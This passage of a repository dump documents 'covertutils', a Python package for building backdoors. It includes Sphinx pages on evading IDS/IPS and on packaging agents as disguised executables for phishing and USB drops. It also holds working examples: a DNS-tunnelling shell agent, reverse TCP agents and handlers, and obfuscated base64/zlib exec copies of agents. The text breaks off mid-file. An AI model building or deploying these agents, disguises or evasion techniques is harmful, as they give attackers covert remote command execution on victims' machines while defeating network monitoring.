--------------- 98 | 99 | .. automodule:: covertutils.payloads.generic 100 | :members: 101 | :undoc-members: 102 | :show-inheritance: 103 | -------------------------------------------------------------------------------- /docs/covertutils.payloads.linux.rst: -------------------------------------------------------------------------------- 1 | covertutils.payloads.linux package 2 | ================================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.payloads.linux.shellcode module 8 | ------------------------------------------- 9 | 10 | .. automodule:: covertutils.payloads.linux.shellcode 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | 16 | Module contents 17 | --------------- 18 | 19 | .. automodule:: covertutils.payloads.linux 20 | :members: 21 | :undoc-members: 22 | :show-inheritance: 23 | -------------------------------------------------------------------------------- /docs/covertutils.payloads.rst: -------------------------------------------------------------------------------- 1 | covertutils.payloads package 2 | ============================ 3 | 4 | Subpackages 5 | ----------- 6 | 7 | .. toctree:: 8 | 9 | covertutils.payloads.generic 10 | covertutils.payloads.linux 11 | covertutils.payloads.windows 12 | 13 | Module contents 14 | --------------- 15 | 16 | .. automodule:: covertutils.payloads 17 | :members: 18 | :undoc-members: 19 | :show-inheritance: 20 | -------------------------------------------------------------------------------- /docs/covertutils.payloads.windows.rst: -------------------------------------------------------------------------------- 1 | covertutils.payloads.windows package 2 | ==================================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.payloads.windows.shellcode module 8 | --------------------------------------------- 9 | 10 | .. automodule:: covertutils.payloads.windows.shellcode 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | 16 | Module contents 17 | --------------- 18 | 19 | .. automodule:: covertutils.payloads.windows 20 | :members: 21 | :undoc-members: 22 | :show-inheritance: 23 | -------------------------------------------------------------------------------- /docs/covertutils.rst: -------------------------------------------------------------------------------- 1 | covertutils package 2 | =================== 3 | 4 | Subpackages 5 | ----------- 6 | 7 | .. toctree:: 8 | 9 | covertutils.bridges 10 | covertutils.crypto 11 | covertutils.datamanipulation 12 | covertutils.handlers 13 | covertutils.netwrappers 14 | covertutils.orchestration 15 | covertutils.payloads 16 | covertutils.shells 17 | 18 | Submodules 19 | ---------- 20 | 21 | covertutils.exceptions module 22 | ----------------------------- 23 | 24 | .. automodule:: covertutils.exceptions 25 | :members: 26 | :undoc-members: 27 | :show-inheritance: 28 | 29 | covertutils.helpers module 30 | -------------------------- 31 | 32 | .. automodule:: covertutils.helpers 33 | :members: 34 | :undoc-members: 35 | :show-inheritance: 36 | 37 | 38 | Module contents 39 | --------------- 40 | 41 | .. automodule:: covertutils 42 | :members: 43 | :undoc-members: 44 | :show-inheritance: 45 | -------------------------------------------------------------------------------- /docs/covertutils.shells.impl.rst: -------------------------------------------------------------------------------- 1 | covertutils.shells.impl package 2 | =============================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.shells.impl.extendableshell module 8 | ---------------------------------------------- 9 | 10 | .. automodule:: covertutils.shells.impl.extendableshell 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.shells.impl.meterpretershell module 16 | ----------------------------------------------- 17 | 18 | .. automodule:: covertutils.shells.impl.meterpretershell 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.shells.impl.simpleshell module 24 | ------------------------------------------ 25 | 26 | .. automodule:: covertutils.shells.impl.simpleshell 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.shells.impl.standardshell module 32 | -------------------------------------------- 33 | 34 | .. automodule:: covertutils.shells.impl.standardshell 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | 40 | Module contents 41 | --------------- 42 | 43 | .. automodule:: covertutils.shells.impl 44 | :members: 45 | :undoc-members: 46 | :show-inheritance: 47 | -------------------------------------------------------------------------------- /docs/covertutils.shells.multi.rst: -------------------------------------------------------------------------------- 1 | covertutils.shells.multi package 2 | ================================ 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.shells.multi.shell module 8 | ------------------------------------- 9 | 10 | .. automodule:: covertutils.shells.multi.shell 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | 16 | Module contents 17 | --------------- 18 | 19 | .. automodule:: covertutils.shells.multi 20 | :members: 21 | :undoc-members: 22 | :show-inheritance: 23 | -------------------------------------------------------------------------------- /docs/covertutils.shells.rst: -------------------------------------------------------------------------------- 1 | covertutils.shells package 2 | ========================== 3 | 4 | Subpackages 5 | ----------- 6 | 7 | .. toctree:: 8 | 9 | covertutils.shells.impl 10 | covertutils.shells.multi 11 | covertutils.shells.subshells 12 | 13 | Submodules 14 | ---------- 15 | 16 | covertutils.shells.baseshell module 17 | ----------------------------------- 18 | 19 | .. automodule:: covertutils.shells.baseshell 20 | :members: 21 | :undoc-members: 22 | :show-inheritance: 23 | 24 | 25 | Module contents 26 | --------------- 27 | 28 | .. automodule:: covertutils.shells 29 | :members: 30 | :undoc-members: 31 | :show-inheritance: 32 | -------------------------------------------------------------------------------- /docs/covertutils.shells.subshells.rst: -------------------------------------------------------------------------------- 1 | covertutils.shells.subshells package 2 | ==================================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | covertutils.shells.subshells.controlsubshell module 8 | --------------------------------------------------- 9 | 10 | .. automodule:: covertutils.shells.subshells.controlsubshell 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | covertutils.shells.subshells.examplesubshell module 16 | --------------------------------------------------- 17 | 18 | .. automodule:: covertutils.shells.subshells.examplesubshell 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | covertutils.shells.subshells.filesubshell module 24 | ------------------------------------------------ 25 | 26 | .. automodule:: covertutils.shells.subshells.filesubshell 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | covertutils.shells.subshells.meterpretersubshell module 32 | ------------------------------------------------------- 33 | 34 | .. automodule:: covertutils.shells.subshells.meterpretersubshell 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | covertutils.shells.subshells.portfwdsubshell module 40 | --------------------------------------------------- 41 | 42 | .. automodule:: covertutils.shells.subshells.portfwdsubshell 43 | :members: 44 | :undoc-members: 45 | :show-inheritance: 46 | 47 | covertutils.shells.subshells.pythonapisubshell module 48 | ----------------------------------------------------- 49 | 50 | .. automodule:: covertutils.shells.subshells.pythonapisubshell 51 | :members: 52 | :undoc-members: 53 | :show-inheritance: 54 | 55 | covertutils.shells.subshells.shellcodesubshell module 56 | ----------------------------------------------------- 57 | 58 | .. automodule:: covertutils.shells.subshells.shellcodesubshell 59 | :members: 60 | :undoc-members: 61 | :show-inheritance: 62 | 63 | covertutils.shells.subshells.simplesubshell module 64 | -------------------------------------------------- 65 | 66 | .. automodule:: covertutils.shells.subshells.simplesubshell 67 | :members: 68 | :undoc-members: 69 | :show-inheritance: 70 | 71 | covertutils.shells.subshells.stagesubshell module 72 | ------------------------------------------------- 73 | 74 | .. automodule:: covertutils.shells.subshells.stagesubshell 75 | :members: 76 | :undoc-members: 77 | :show-inheritance: 78 | 79 | 80 | Module contents 81 | --------------- 82 | 83 | .. automodule:: covertutils.shells.subshells 84 | :members: 85 | :undoc-members: 86 | :show-inheritance: 87 | -------------------------------------------------------------------------------- /docs/ids_evasion.rst: -------------------------------------------------------------------------------- 1 | 2 | .. _ids_evasion: 3 | 4 | Totally IDS/IPS evading payloads 5 | ================================ 6 | 7 | Whatever travels from and to ``Handler`` classes is generated using ``Orchestrator`` instances. That means that, not only the communication is encrypted, but there are no `moving parts` on what is transmitted too (`I will elaborate`). 8 | 9 | 10 | `No-Duplicate` Principle 11 | ------------------------ 12 | 13 | For making the protocol payloads hard to identify I implemented what (I self named) the `No-Duplicate` principle. 14 | 15 | This assures that every two consecutive payloads (or more in fact) have the same bytes in same position with a probability of `1/512` (i.e. completely randomly). 16 | 17 | In plain english, if I issue an ``ls -l`` `(5 bytes without new line)` command and the `3rd byte` of the payload generated happens to be ``\x67`` (due to encryption it probably won't be ``\x20`` `-space character-` anyway), this `Principle` says that if I issue again ``ls -l``, the 3rd byte has a `1/512` probability of being ``\x67`` again. 18 | 19 | 20 | Implementation Pitfalls 21 | ----------------------- 22 | 23 | **DUH!** :: 24 | 25 | The "No-Duplicate Principle" generally applies to all Stream Ciphers. 26 | So, as I use a (homebrew) Stream Cipher, 27 | I got that principle covered too. Right? 28 | 29 | 30 | **Right. But...** this is tricky to implement for the **whole protocol**. That is **from first payload generated** and for **every payload**. 31 | 32 | And the tricky part is that if the payload is **not tagged in any way** it is difficult for the listener to determine whether the received data is addressed to him and **not try to decrypt all kinds of received data**. 33 | 34 | Making the listener **identify** whether the decrypted data is gibberish (and rollback the key if it is) will need to provide a concise definition of **what gibberish is**. And doing even that (`dangerous high entropy approach`) will disable the sender from **sending gibberish intentionally**. Not bright idea at all. `Crypted shellcodes` **look like gibberish** but I can see reasons for sending such things... 35 | 36 | .. note:: "Decrypting" data that is **not addressed to the listener** is a big problem if a Stream Cipher is used. It makes one of the keys to cycle `without notifying the other side`, `ultimately scraping` the rest of the connection. 37 | 38 | 39 | And that is as the data doesn't get transmitted through a known connection. TLS application data seem random too, but it travels through a TCP connection that **knows how to handle them because of the handshake**. 40 | 41 | *In a backdoor a handshake will generate `signatures`, as any hardcoded `byte-position pair`. 42 | 43 | 44 | And using a legit protocol like TLS would hardcode the `Network Agnostic` design all together. Yet TLS can be used, if wrapped with ``covertutils`` functions, but making the only option is far from useful. 45 | 46 | So you see. It is indeed tricky... 47 | 48 | 49 | 50 | OTP me to the `End of Love` 51 | --------------------------- 52 | 53 | So, as using a single byte signature is a big **NO-NO** what stands out? 54 | 55 | What if we encrypt a string with a Rolling Key and append it to the message? 56 | 57 | As the key is rolling the "`No-Duplicate Principle`" applies to the ciphertext of the string. But now the listener **knows what to search for**. Decrypting a certain portion of the payload will have to result to the original string. If it does not, then the received data is of no interest for the listener (the sender didn't sent this one), and the key can be rolled back. 58 | 59 | This is a kind of one time password (`OTP`) for each payload originally sent from the sender. 60 | 61 | This mechanism is furtherly described in the Securosophy_ post, under the `How Streams are implemented` heading. 62 | 63 | .. _Securosophy : https://securosophy.com/2017/04/22/reinventing-the-wheel-for-the-last-time-the-covertutils-package/ 64 | 65 | Still, there is a possibility for a random data packet that have been received to have the same decrypted value with that string and this will mean that the channel will hang. That possibility is more that finding a `Shiny Pokemon in Silver`__, so it is handled (`how` is also explained in the `blog post` above). 66 | 67 | 68 | .. _celebi : https://i.ytimg.com/vi/O7ZsJV71ji0/maxresdefault.jpg 69 | 70 | 71 | __ celebi_ 72 | 73 | 74 | .. 75 | .. figure:: images/orchestrator.png 76 | :alt: alternate text 77 | :align: center 78 | -------------------------------------------------------------------------------- /docs/images/orchestrator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/covertutils/2d1eae695f8a4ace12331ce3dc31125eb3d308df/docs/images/orchestrator.png -------------------------------------------------------------------------------- /docs/images/pozzo_n_lucky_traffic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/covertutils/2d1eae695f8a4ace12331ce3dc31125eb3d308df/docs/images/pozzo_n_lucky_traffic.png -------------------------------------------------------------------------------- /docs/index.rst: -------------------------------------------------------------------------------- 1 | .. CovertUtils documentation master file, created by 2 | sphinx-quickstart on Sun Jul 23 17:17:59 2017. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | 7 | .. moduleauthor:: John Torakis 8 | 9 | 10 | Welcome to ``covertutils`` documentation! 11 | ========================================= 12 | 13 | This Project is free and open-source, available @ Github_ 14 | 15 | .. _Github : https://github.com/operatorequals/covertutils 16 | 17 | 18 | A Blog post about it, explaining *motivation* and *implementation internals* can be found in my personal blog: Securosophy_ 19 | 20 | .. _Securosophy : https://securosophy.com/2017/04/22/reinventing-the-wheel-for-the-last-time-the-covertutils-package/ 21 | 22 | 23 | Not a Backdoor! 24 | --------------- 25 | 26 | Well, *almost* not a backdoor. This project is a *Python2 package* containing enough modules for implementing custom backdoors. 27 | Everything, from *file transfer* to *customized shells* is included. 28 | 29 | 30 | It is not a backdoor ready to be planted (well, most of the :ref:`programming_examples` are). If you are looking for backdoors, RATs and such stuff in `Python` there are some awesome projects already: 31 | 32 | - Weevely_ 33 | - Pupy_ 34 | - Stitch_ 35 | - Empire_ (agent also in `PowerShell`) 36 | 37 | .. _Weevely : https://github.com/epinna/weevely3 38 | .. _Pupy : https://github.com/n1nj4sec/pupy 39 | .. _Stitch : https://github.com/nathanlopez/Stitch 40 | .. _Empire : https://www.powershellempire.com/ 41 | 42 | 43 | This package contains most **Building Blocks** of a backdoor. It covers the common coding tasks when creating anything from a simple `reverse TCP shell` to a full-blown, feature-rich, extend-able, `Agent`. 44 | 45 | It also uses a simplistic approach of what a backdoor is, breaking it down to its basic components: 46 | 47 | - Agent 48 | - Handler 49 | - Communication Channel 50 | - Protocol 51 | 52 | 53 | Currently, ``covertutils`` package provides API for: 54 | 55 | - Encryption 56 | - Chunking 57 | - Separate Streams (almost like `meterpreter`'s channels) 58 | - Compression before transmission 59 | - Packet Steganography 60 | - Customized Shell 61 | - Message Handling 62 | - Custom Shell creation 63 | 64 | And most of those features are used under the hood, without writing any additional line of code (e.g. `encryption`, `compression`, `streams`). 65 | 66 | 67 | No Networking code included 68 | --------------------------- 69 | 70 | The package provides a generic wrapper for networking, without implementing internally even the simplest of networking possibilities (e.g. `bind TCP`). 71 | 72 | This design decision broadens the possibilities for `Communication Channels` that differ a lot from just layer 4/5 solutions. This way, there is space for `Packet Steganography` or even time-based `Covert Channels`. 73 | 74 | And all that with the abstraction of **Object Oriented Programming**, as this package depends on it heavily. 75 | 76 | 77 | .. toctree:: 78 | :maxdepth: 1 79 | :caption: Basics: 80 | 81 | installation 82 | package_structure 83 | native_execs 84 | 85 | .. toctree:: 86 | :maxdepth: 2 87 | :caption: Internals: 88 | 89 | components 90 | architecture 91 | shells 92 | stages 93 | 94 | .. toctree:: 95 | :maxdepth: 2 96 | :caption: Techniques: 97 | 98 | ids_evasion 99 | staging_exec 100 | 101 | .. toctree:: 102 | :maxdepth: 2 103 | :caption: Tutorial'ish Material: 104 | 105 | assembling_backdoor 106 | prog_examples 107 | stage_api 108 | real_covert_channel_pozzo_n_lucky 109 | 110 | 111 | All modules *[citation needed]* are documented automatically from comments with *Sphinx* ``apidoc``. The output is below... 112 | 113 | .. toctree:: 114 | :maxdepth: 3 115 | :caption: The whole "apidoc" pages ahead: 116 | 117 | modules 118 | 119 | 120 | 121 | 122 | As the *covertutils API* Toc-Tree is **huge** (due to the code organizing, see: :ref:`package_structure`), it is really handy to use the **search page** of **Sphinx** if you are looking for a specific `class` or `method`. 123 | 124 | 125 | 126 | 127 | 128 | .. note:: For `flawless backdoor creation` don't forget to fire up some Primus CDs or old blues standards while coding. Maybe light a cigar too. 129 | 130 | 131 | .. note:: Creating stealthy backdoors requires intelligence, and intelligence is **a terrible thing to waste**. 132 | -------------------------------------------------------------------------------- /docs/installation.rst: -------------------------------------------------------------------------------- 1 | Installation 2 | ============= 3 | 4 | 5 | You can always download/clone it from Github: 6 | 7 | .. code:: 8 | 9 | git clone https://github.com/operatorequals/covertutils 10 | cd covertutils 11 | python setup.py install # this one may need root privileges 12 | 13 | It is also available in PyPI, but I cannot guarantee that it will be the last version. 14 | https://pypi.python.org/pypi/covertutils/ 15 | 16 | .. code:: 17 | 18 | pip install covertutils 19 | 20 | 21 | Finally, the *makefile* in the git repo may contain useful commands, like *"compile"*. It may be wise to give it a look. 22 | Try compiling the *example* code located at *examples/* directory in github repo. 23 | -------------------------------------------------------------------------------- /docs/modules.rst: -------------------------------------------------------------------------------- 1 | covertutils 2 | =========== 3 | 4 | .. toctree:: 5 | :maxdepth: 4 6 | 7 | covertutils 8 | -------------------------------------------------------------------------------- /docs/native_execs.rst: -------------------------------------------------------------------------------- 1 | .. _native_execs_page : 2 | 3 | Native Executables 4 | ================== 5 | 6 | Generating **Native Executables** for all platforms is major feature for backdoors! 7 | Those will be your payloads in **Phishing emails** and **USB drive Parking-Ops** after all! 8 | 9 | 10 | Currently `Linux` and `Windows` are directly supported through PyInstaller_. 11 | 12 | The repo's makefile has options for one-line *exe* generation. Get the latest repo's *makefile script* from here_. 13 | 14 | **or just:** 15 | 16 | .. code:: bash 17 | 18 | wget https://raw.githubusercontent.com/operatorequals/covertutils/master/makefile 19 | 20 | .. _here: https://github.com/operatorequals/covertutils 21 | .. _PyInstaller: http://www.pyinstaller.org/index.html 22 | 23 | 24 | 25 | Linux 26 | ***** 27 | 28 | For a **script** name of ``backdoor_script.py`` and **executable** name of ``.sshd`` type the following: 29 | 30 | .. code:: bash 31 | 32 | make PY='backdoor_script.py' EX='.sshd' elf 33 | 34 | 35 | 36 | Windows 37 | ******* 38 | 39 | You will need the whole *wine - Python2.7 - PyInstaller* toolchain assuming that you are running *Linux*. 40 | 41 | For a **script** name of ``backdoor_script.py`` and **executable** name of ``crazy_taxi_crack_2.34.exe`` type the following: 42 | 43 | .. code:: bash 44 | 45 | make PY='backdoor_script.py' EX='crazy_taxi_crack_2.34.exe' exe 46 | 47 | 48 | 49 | Several other packers for Python to native **dependency-less** executables are in the wild. 50 | You can try : 51 | 52 | - py2exe_ 53 | - nuitka_ (tends to create executables much smaller than `PyInstaller`'s) 54 | 55 | 56 | If you've found a configuration that works best for you (like: "*I use XYZ with ABC and create super small executables*"), please open an Issue in the Github repo_ and I will add it to the defaults. 57 | 58 | 59 | .. _py2exe: http://www.py2exe.org/ 60 | .. _nuitka: http://nuitka.net/ 61 | .. _repo: https://github.com/operatorequals/covertutils/issues 62 | 63 | 64 | Have fun *responsibly*! 65 | -------------------------------------------------------------------------------- /docs/package_structure.rst: -------------------------------------------------------------------------------- 1 | 2 | .. _package_structure : 3 | 4 | Package, subpackage and module structure 5 | ======================================== 6 | 7 | 8 | This project has been structured using *single-file class approach*. While this is not that *Pythonic* (more like Jav'ish) I find it best for a *heavily Object Oriented Project* like this. 9 | 10 | To retain the *Pythonic* import structure, a *class*, say ``Foo``, declared in a module-file, say, ``pack/subpack/mod.py`` can be imported both with: 11 | 12 | .. code:: python 13 | 14 | from pack.subpack.mod import Foo 15 | 16 | and 17 | 18 | .. code:: python 19 | 20 | from pack.subpack import Foo 21 | 22 | as all modules happen to contain only **one class each**. 23 | 24 | To also borrow some more *Jav'ish* taste, all class names are `camelCased` and have their first letter `Capitalized`, while the modules containing them share the same name but all `lowercase`. 25 | 26 | For example, the :class:`covertutils.handlers.basehandler.BaseHandler` class can be imported like: 27 | 28 | .. code:: python 29 | 30 | from covertutils.handlers.basehandler import BaseHandler 31 | 32 | and like: 33 | 34 | .. code:: python 35 | 36 | from covertutils.handlers import BaseHandler 37 | 38 | as :mod:`covertutils.handlers.basehandler` only contains the `BaseHandler` class 39 | 40 | 41 | .. note:: If importing errors like the following happen: 42 | 43 | .. code:: python 44 | 45 | >>> import coverutils 46 | Traceback (most recent call last): 47 | File "", line 1, in 48 | ImportError: No module named coverutils 49 | >>> 50 | 51 | Be sure to write the `package name` properly: 52 | It's cover **t** utils. 53 | 54 | It happens all the time to me... 55 | -------------------------------------------------------------------------------- /examples/dns_reverse_agent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #============================== Imports part ============================= 3 | 4 | from covertutils.handlers import InterrogatingHandler 5 | from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler 6 | from covertutils.orchestration import SimpleOrchestrator 7 | 8 | from os import urandom 9 | from time import sleep 10 | import sys 11 | import socket 12 | try : 13 | import Queue as queue 14 | except : 15 | import queue 16 | 17 | 18 | 19 | #============================== Handler Overriding part =================== 20 | 21 | class ShellHandler ( InterrogatingHandler, StandardShellHandler ) : 22 | 23 | def __init__( self, recv, send, orch ) : 24 | super( ShellHandler, self ).__init__( recv, send, orch, # basic handler arguments 25 | fetch_stream = 'control', # argument from 'InterrogatingHandler' 26 | stage_stream = 'stage', 27 | delay_between = (0.0, 3), # argument from 'InterrogatingHandler' 28 | ) # The arguments will find their corresponding class and update the default values 29 | 30 | def onChunk( self, stream, message ) : print "Chunk!" # If a part of a message arrives - do nothing. 31 | 32 | def onMessage( self, stream, message ) : # If a message arrives 33 | 34 | if message != 'X' : # If message is not the 'no data available' flag : 35 | output = super(ShellHandler, self).onMessage( stream, message ) # Run the received message 36 | #through the corresponding function 37 | print output 38 | print( "[+] Command Run - generated %d bytes of output!" % len(bytes(output)) ) 39 | self.queueSend( output, stream ) # Queue the output to send in next interval 40 | # pass 41 | 42 | def onNotRecognised( self ) : print( "[!] < Unrecognised >" ) 43 | 44 | 45 | #========================================================================== 46 | 47 | 48 | #============================== Networking part =========================== 49 | 50 | # The subdomain whose authoritative DNS is the Handler Host 51 | base_domain = sys.argv[1] # called as 'python Client.py sub.securosophy.net 52 | recv_queue = queue.Queue() 53 | 54 | 55 | def encode_payload( data ) : 56 | ''' 57 | "" becomes PFNFQ1JFVC8_Cg 58 | ''' 59 | enc_data = data.encode('base64').replace("=", "").replace("/","-").replace("+","_").strip() 60 | return enc_data 61 | 62 | def send( raw ) : 63 | enc = encode_payload( raw ) 64 | payload = "%s.%s" % (enc, base_domain) # urandom(1).encode('hex') 65 | print payload 66 | try : 67 | # resp = socket.gethostbyname( payload ) 68 | resp = socket.getaddrinfo(payload, 80) 69 | recv_queue.put(resp) 70 | except Exception as e: 71 | # print e 72 | print "Couldn't resolve", e 73 | 74 | def recv( ) : 75 | global resp_queue 76 | resp = recv_queue.get() 77 | total_resp = '' 78 | # Parse both IPv4 and IPv6 addresses 79 | for x in resp : 80 | try : 81 | d = socket.inet_pton(socket.AF_INET6, x[4][0]) 82 | total_resp += d 83 | except : 84 | d = socket.inet_pton(socket.AF_INET, x[4][0]) 85 | recv_queue.task_done 86 | if not total_resp : total_resp = urandom(16) 87 | resp = None 88 | return total_resp[:16] 89 | 90 | #========================================================================== 91 | 92 | 93 | #=============================Handler Creation============================= 94 | 95 | passphrase = "App1e5&0raNg3s" # This is used to generate encryption keys 96 | 97 | orch = SimpleOrchestrator( passphrase, 98 | reverse = False, # For 2 Orchestrator objects to be compatible one must have 'reverse = True' 99 | tag_length = 2, # The tag length in bytes 100 | out_length = 35, # The absolute output byte length (with tags) 101 | in_length = 16, # The absolute input byte length (with tags) 102 | # streams = ['heartbeat'], # Stream 'control' will be automatically added as failsafe mechanism 103 | ) 104 | 105 | handler = ShellHandler( recv, send, orch ) 106 | 107 | #========================================================================== 108 | 109 | # Wait forever as all used threads are daemonized 110 | while True : sleep(10) 111 | 112 | 113 | # Magic! 114 | -------------------------------------------------------------------------------- /examples/docs/advanced/reverse_tcp_agent.obf.py: -------------------------------------------------------------------------------- 1 | import zlib, base64 2 | exec(zlib.decompress(base64.b64decode('eJxtkFFLwzAUhd/zK2LBkUApbRWEQR+GTCZOB3Yve3Fk6d0SzJIuuZ2K+N9tt1VFJQ/Jud/h3HDW3m2pdHvw2KA2IXFeKgjoBWpnqd7WziMt29vA7As5T6bF3DdAdPGXsWjWeFqLEGrlRQAqhaUroMK+odJ2c0YHT4Pz948odg0uDdgNqiJPY21/CE5Ou4OTz4CkKY6PZHSzvH0Yz8miH5wMu16Xs+u7ZTl/HI/uSSgWrIl3nIREOmtBImNRll8laXuyKM7yi0vOSQVrGsBWrBIo+JDQkHzLA/Ug96wjHrDxtjUcJnnKKVn/7lAJWxnwIemq6Tscv2IbKVYGSgXGTI4eMin+B6zLj7tfxJofV6DeQp8WDEBNXpQ2QKfDg2JZysknydigGg=='))) 3 | # Created by pyminifier (https://github.com/liftoff/pyminifier) 4 | 5 | -------------------------------------------------------------------------------- /examples/docs/advanced/reverse_tcp_agent.py: -------------------------------------------------------------------------------- 1 | from covertutils.orchestration import SimpleOrchestrator 2 | 3 | orch_obj = SimpleOrchestrator( 4 | "Our passphrase can be anything! &^&%{}", 5 | out_length = 20, 6 | in_length = 20, 7 | ) 8 | 9 | import socket 10 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 11 | s.connect(("127.0.0.1",1234)) 12 | 13 | def send( data ) : 14 | s.send( data ) 15 | 16 | def recv() : 17 | return s.recv(20) # This will automatically block as socket.recv() is a blocking method 18 | 19 | from covertutils.handlers.impl import ExtendableShellHandler 20 | 21 | ext_handler_obj = ExtendableShellHandler(recv, send, orch_obj) 22 | 23 | from time import sleep 24 | 25 | while True : sleep(10) 26 | -------------------------------------------------------------------------------- /examples/docs/advanced/reverse_tcp_handler.py: -------------------------------------------------------------------------------- 1 | from covertutils.orchestration import SimpleOrchestrator 2 | 3 | orch_obj = SimpleOrchestrator( 4 | "Our passphrase can be anything! &^&%{}", 5 | out_length = 20, 6 | in_length = 20, 7 | reverse = True, # <------- 8 | ) 9 | 10 | import socket 11 | 12 | s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # To make the port immediately available after killing - gimmick 14 | s.bind( ("0.0.0.0", 1234) ) 15 | s.listen(5) 16 | 17 | client, client_addr = s.accept() 18 | 19 | def recv () : # Create wrappers for networking 20 | return client.recv( 20 ) 21 | 22 | def send( raw ) : # Create wrappers for networking 23 | return client.send( raw ) 24 | 25 | from covertutils.handlers import BaseHandler 26 | 27 | class MyHandler_Handler( BaseHandler ) : 28 | """ This class tries hard to be self-explanatory """ 29 | 30 | def __init__(self, recv, send, orch, **kw) : 31 | super( MyHandler_Handler, self ).__init__( recv, send, orch, **kw ) 32 | print ( "[!] Handler with Orchestrator ID: '{}' started!".format( orch.getIdentity() ) ) 33 | 34 | def onMessage( self, stream, message ) : pass 35 | 36 | def onChunk( self, stream, message ) : pass 37 | 38 | def onNotRecognised(self) : pass 39 | 40 | 41 | 42 | handler_obj = MyHandler_Handler(recv, send, orch_obj) 43 | 44 | from covertutils.shells.impl import ExtendableShell 45 | 46 | shell = ExtendableShell(handler_obj, prompt = "[MyFirst '{package}' Shell] > ") 47 | shell.start() 48 | -------------------------------------------------------------------------------- /examples/docs/simple/reverse_tcp_agent.obf.py: -------------------------------------------------------------------------------- 1 | import zlib, base64 2 | exec(zlib.decompress(base64.b64decode('eJyNU1FP2zAQfvevuFYaxCxEbTdpUqUwMQasQoCg7AGhLnKTS2Ph2JHt0AHiv89OmhLYHqY8JL58vvvu++5yrUpI1QNqW1suTKR0WqCxmlmuJPCyUtrC3L0FXm5/KU2eYlNXqMltfKNrJCfx35hgeFlrqJgxVaGZQUiZhCUCk4+24HI1gJ1fOx+eX4ahqm0iUK5sEU9GIZe9AyUbDkal92jJWdx+RIcnyezi+IbMusAGcNWd55dHZ8n85vr48JyYeBachVeUmChVUmJqg2A4nnyJRu4ZD8Px5NNnSkmGORiUWZAxy+iUgIn8kQnRRhqAxvQhoFMg7svWWjpQE5qMKJD8vZ4Fk5lAbTopvzkhfrQxkgqnDZRBL+aL+iJJwiW3SRIYFHno84eeSejtCff27tceCE9BGXoAjbb4f0EdstJc2mB4N1jA4QqlhTW3BfTdgtn3Kew+v+yCsUxbzAbDKFe6ZDbwmaIV2lnmbnL7GFD6mpO2hJU8R2PYClvGLimyMizbWEO2o/BxARsoMK35g6/Uo/j8AvsH4Kaiq/4uVb+bgwXMXatulsAW6J1Bnw82WODSxZwXbvaUzlC3hTzBqNKYo9aYJY3hmxt30+n+eOF83PR0VNTy/n86aoBdP+CYQ4tvFR28a6ZpgucdT59rm2yvJ48xWC4FZlFPXuqsE8LvUerm0hWT+Nv2FdwacqHsNaZqJbnBrGniDev9BZwqv1clwilfLlFzU/SdmLmJ4kzwJ1fEy/tmWpr5WWvlpH/d8K9vaPyMy944ntB2OSx39bqdFogVWRdcINxOm1MwHlHyBybwinc='))) 3 | # Created by pyminifier (https://github.com/liftoff/pyminifier) 4 | 5 | -------------------------------------------------------------------------------- /examples/docs/simple/reverse_tcp_agent.py: -------------------------------------------------------------------------------- 1 | from covertutils.orchestration import SimpleOrchestrator 2 | 3 | orch_obj = SimpleOrchestrator( 4 | "Our passphrase can be anything! &^&%{}", 5 | out_length = 20, 6 | in_length = 20, 7 | ) 8 | 9 | 10 | import socket 11 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 12 | s.connect(("127.0.0.1",1234)) 13 | 14 | def send( data ) : 15 | s.sendall( data ) 16 | 17 | def recv() : # Return for every 20 bytes 18 | return s.recv(20) # This will automatically block as socket.recv() is a blocking method 19 | 20 | 21 | from covertutils.handlers import BaseHandler 22 | 23 | class MyAgent_Handler( BaseHandler ) : 24 | """ This class tries hard to be self-explanatory """ 25 | 26 | def __init__(self, recv, send, orch, **kw) : 27 | super( MyAgent_Handler, self ).__init__( recv, send, orch, **kw ) 28 | print ( "[!] Agent with Orchestrator ID: '{}' started!".format( orch.getIdentity() ) ) 29 | print() 30 | 31 | 32 | def onMessage( self, stream, message ) : 33 | print ( "[+] Message arrived!" ) 34 | print ( "{} -> {}".format(stream, message) ) 35 | print ("[>] Sending the received message in reverse order!") 36 | self.preferred_send( message[::-1] ) # Will respond with the reverse of what was received! 37 | 38 | def onChunk( self, stream, message ) : 39 | print ( "[+] Chunk arrived for stream '{}' !".format(stream) ) 40 | if message : 41 | print ("[*] Message assembled. onMessage() will be called next!") 42 | print() 43 | 44 | def onNotRecognised(self) : 45 | print ("[-] Got some Gibberish") 46 | print ("Initialized the Orchestrator with wrong passphrase?") 47 | print() 48 | 49 | handler_obj = MyAgent_Handler(recv, send, orch_obj) 50 | 51 | from time import sleep 52 | 53 | while True : sleep(10) 54 | -------------------------------------------------------------------------------- /examples/docs/simple/reverse_tcp_handler.py: -------------------------------------------------------------------------------- 1 | from covertutils.orchestration import SimpleOrchestrator 2 | 3 | orch_obj = SimpleOrchestrator( 4 | "Our passphrase can be anything! &^&%{}", 5 | 